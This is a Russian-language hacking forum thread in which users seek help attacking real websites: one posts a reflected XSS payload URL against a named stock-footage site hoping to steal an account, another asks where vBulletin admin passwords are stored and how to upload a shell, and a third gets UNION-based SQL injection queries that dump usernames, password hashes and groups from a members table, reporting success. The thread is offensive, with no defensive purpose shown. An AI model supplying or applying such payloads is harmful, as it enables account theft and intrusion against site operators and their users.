ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Всем привет. Поджскажите мне плиз, реально ли как-то получить аккаунт с помошью такой вот уязвимости?

http://footage.shutterstock.com/videos.html?clipbox_id=255910%22%3E%3Cscript%3Eale rt(/d/)%3C/script%3E

там просто четкие фотки и видео ХД хочу писец ))

Версия форума vBulletin 3.5.8
В какой таблице пассы админа?
Как залить шелл через админку?

Помогите со sql запросом:
Имя базы: dbforum1
Имя таблицы: ibf_members
Имена нужных строк: name, mgroup, password
Покажите на примере как запросить эти данные у пользователя с id=399999
Или у пользователя с name=LOL
UNION SELECT...
PS: Можно внедрять только один параметр.

select concat_ws(0x3a,name,password,mgroup) from dbforum.ibf_members

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

а where id, where name ненадо?
Я в sql неразбираюсь просто

where+name='LOL'

А-а-а Спасибо, получилось имя вывести, Огромный тебе РЕСПЕКТ.

Подскажи пожайлуйста как посмотреть вторую, третью, 545788 строчку

select concat_ws(0x3a,name,password,mgroup) from dbforum.ibf_members limit 1,1

select concat_ws(0x3a,name,password,mgroup) from dbforum.ibf_members limit 545788,1

Там так не получится